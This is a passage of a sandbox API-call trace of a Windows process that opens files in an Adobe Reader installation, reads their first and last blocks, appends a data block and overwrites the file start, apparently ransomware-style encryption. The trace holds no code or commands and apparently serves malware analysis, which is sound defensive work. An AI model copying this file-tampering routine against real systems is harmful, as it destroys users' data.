dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.103] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.103] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.103] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.103] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.103] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.103] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-6" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-6")) returned 0x20 [0041.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-cid"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.189] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID", lpFilePart=0x2f4f690*="Adobe-Korea1-H-CID") returned 0x49 [0041.189] GetLastError () returned 0x5 [0041.189] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.189] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.189] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.189] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.190] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.190] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.190] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-cid")) returned 0x20 [0041.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.210] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H", lpFilePart=0x2f4f690*="CNS-EUC-H") returned 0x40 [0041.210] GetLastError () returned 0x5 [0041.210] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.210] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.211] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.211] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.211] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.211] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.211] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-h")) returned 0x20 [0041.211] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.232] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V", lpFilePart=0x2f4f690*="EUC-V") returned 0x3c [0041.232] GetLastError () returned 0x5 [0041.232] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.232] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.232] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.232] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.233] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.233] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.233] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-v")) returned 0x20 [0041.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.254] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H", lpFilePart=0x2f4f690*="GBKp-EUC-H") returned 0x41 [0041.254] GetLastError () returned 0x5 [0041.254] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.254] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.254] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.254] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.254] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.254] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.254] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-h")) returned 0x20 [0041.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.274] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V", lpFilePart=0x2f4f690*="HKdla-B5-V") returned 0x41 [0041.274] GetLastError () returned 0x5 [0041.274] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.274] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.274] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.274] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.275] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.275] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.275] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-v")) returned 0x20 [0041.275] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.292] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V", lpFilePart=0x2f4f690*="HKscs-B5-V") returned 0x41 [0041.292] GetLastError () returned 0x5 [0041.292] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.292] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.293] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.293] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.293] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.293] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.293] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-v")) returned 0x20 [0041.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.315] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H", lpFilePart=0x2f4f690*="KSCpc-EUC-H") returned 0x42 [0041.315] GetLastError () returned 0x5 [0041.315] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.315] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.315] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.315] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.315] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.315] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.315] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-h")) returned 0x20 [0041.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscpc-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.316] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC", lpFilePart=0x2f4f690*="UCS2-KSCpc-EUC") returned 0x45 [0041.316] GetLastError () returned 0x5 [0041.316] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.316] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.316] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.316] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.316] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.316] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.316] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscpc-euc")) returned 0x20 [0041.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.331] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H", lpFilePart=0x2f4f690*="UniJIS-UCS2-HW-H") returned 0x47 [0041.331] GetLastError () returned 0x5 [0041.331] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.331] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.331] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.331] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.331] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.331] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.331] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-HW-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-hw-h")) returned 0x20 [0041.331] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V", nBufferLength=0x104, lpBuffer=0x2f4f694, lpFilePart=0x2f4f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V", lpFilePart=0x2f4f690*="UniKS-UTF16-V") returned 0x44 [0041.346] GetLastError () returned 0x5 [0041.346] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2f4f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p˴폈H˴퐔H˴L˴ꞀǦ\x01") returned 0x13 [0041.347] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.347] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2f4d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.347] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2f4f894) [0041.347] RtlUnwind (TargetFrame=0x2f4f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.347] RtlUnwind (TargetFrame=0x2f4f920, TargetIp=0x407184, ExceptionRecord=0x2f4f378, ReturnValue=0x0) [0041.347] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-v")) returned 0x20 [0041.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobepistd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.364] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.364] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x15e3c [0041.364] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.364] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.364] ReleaseMutex (hMutex=0x128) returned 1 [0041.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x1e6338c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePiStd.otf", lpUsedDefaultChar=0x0) returned 14 [0041.364] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.391] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x14e3c [0041.391] ReadFile (in: hFile=0x1c4, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.406] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x14e3c [0041.406] WriteFile (in: hFile=0x1c4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.406] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.407] WriteFile (in: hFile=0x1c4, lpBuffer=0x2809d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2809d28*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.407] CloseHandle (hObject=0x1c4) returned 1 [0041.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.417] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.418] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x43898 [0041.418] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0041.418] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.418] ReleaseMutex (hMutex=0x128) returned 1 [0041.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0041.418] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.430] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x42898 [0041.430] ReadFile (in: hFile=0x198, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.432] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x42898 [0041.432] WriteFile (in: hFile=0x198, lpBuffer=0x280bd58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x280bd58*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.432] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0041.432] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.432] CloseHandle (hObject=0x198) returned 1 [0041.432] CreateFileW (lpFileName="C:\\Program Files 